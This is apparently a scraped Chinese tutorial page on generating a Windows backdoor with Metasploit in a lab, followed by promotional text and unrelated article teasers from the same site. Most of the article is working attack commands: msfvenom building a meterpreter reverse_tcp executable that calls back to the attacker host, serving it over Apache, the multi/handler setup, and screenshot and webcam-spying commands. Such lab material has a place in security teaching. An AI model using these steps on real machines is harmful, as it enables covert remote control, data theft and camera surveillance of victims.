news 2026/8/17 5:28:05

Msf之内网渗透生成Windows后门,网络安全零基础入门到精通实战教程建议收藏

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Msf之内网渗透生成Windows后门,网络安全零基础入门到精通实战教程建议收藏

实验原理:Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
攻击者:kali-linux 192.168.31.130
靶机:Windows7 192.168.31.134

Windows后门:

在kali-linux上进行操作

生成exe木马文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.130 lport=5555 -f exe -o /var/www/html/payload.exe

(端口号自己随便写,/var/www/html这个是apache服务的路径,因为后面要使用apache服务把木马文件传输到靶机)
注:创建不成功,权限不够的话,可以先使用sudo su命令进入root模式再生成文件。

打开apache服务

service apache2 start

在Windows7上操作
打开浏览器,在地址栏输入攻击者ip 192.168.31.130

在kali-linux上进行操作
使用meterpreter

msfconsole

输入各种参数配置

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.31.130
set lport 5555
run


返回Windows7
运行下载的木马文件

双击下载的文件,点击运行,无图形界面产生


在kali-linux上进行操作

返回攻击机,这时已经建立会话

抓取Windows7屏幕

screenshot


屏幕已截取,文件保存在这个位置

结束会话

exit

meterpreter还有以下命令及参数:
webcam_list 查看摄像头
webcam_snap通过摄像头拍照
webcam _ stream 通过摄像头开启视频
-h :显示帮助。
-i :要使用的网络摄像头的索引号。
-p :JPEG 图像文件路径。默认 HOME /随机乱码名. jpeg 。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取


版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/17 18:24:45

【Open-AutoGLM重试机制设计揭秘】:掌握高可用系统核心逻辑的5大关键步骤

第一章:Open-AutoGLM重试机制的核心价值与设计目标在构建高可用的自动化语言模型调用系统时,网络波动、服务限流和临时性故障是不可避免的挑战。Open-AutoGLM 的重试机制正是为应对这些非确定性失败而设计,其核心价值在于提升请求成功率、保障…

作者头像 李华
网站建设 2026/8/17 19:13:05

AI时代的编程:从手工到自动化

AI时代的编程:从手工到自动化 关键词:AI时代、编程、手工编程、自动化编程、代码生成、机器学习、软件开发 摘要:本文深入探讨了AI时代编程从手工到自动化的转变。首先介绍了研究的背景、目的、预期读者、文档结构和相关术语。接着阐述了手工编程和自动化编程的核心概念及其…

作者头像 李华
网站建设 2026/8/17 14:27:11

10 款 AI 论文辅助工具,优化数学建模优秀论文的复现与格式调整

在开始详细介绍之前,先为大家总结10个推荐AI工具的核心对比。以下表格简明扼要地对比了这些工具的主要优势、处理时间和适配平台,方便Java毕业论文用户快速筛选:工具名称主要用途处理时间适配平台关键优势askpaper降AIGC率,降重复…

作者头像 李华
网站建设 2026/8/17 6:37:22

如何用FaceFusion镜像实现电影级面部特效处理?

如何用FaceFusion镜像实现电影级面部特效处理? 在影视后期和数字内容创作领域,一个曾经需要数小时手工逐帧调整的“换脸”任务,如今正被一种全新的AI工具悄然改写——不是靠繁琐的图层蒙版与色彩匹配,而是通过几行命令、一个容器镜…

作者头像 李华
网站建设 2026/8/17 18:27:40

【Open-AutoGLM离线部署终极指南】:手把手教你实现本地大模型高效运行

第一章:Open-AutoGLM离线部署的核心价值在数据隐私要求日益严格的今天,将大语言模型如Open-AutoGLM进行离线部署已成为企业级应用的刚需。本地化部署不仅规避了敏感数据外传的风险,还显著提升了系统响应速度与服务可控性。保障数据安全与合规…

作者头像 李华
网站建设 2026/8/17 7:28:42

【Open-AutoGLM多分辨率适配全解析】:揭秘高效视觉建模背后的核心技术

第一章:Open-AutoGLM多分辨率适配方案概述Open-AutoGLM 是一种面向视觉语言模型的动态多分辨率输入处理框架,旨在提升模型在不同图像尺度下的理解能力与推理精度。该方案通过自适应调整输入图像的分块策略和特征编码方式,有效平衡计算效率与语…

作者头像 李华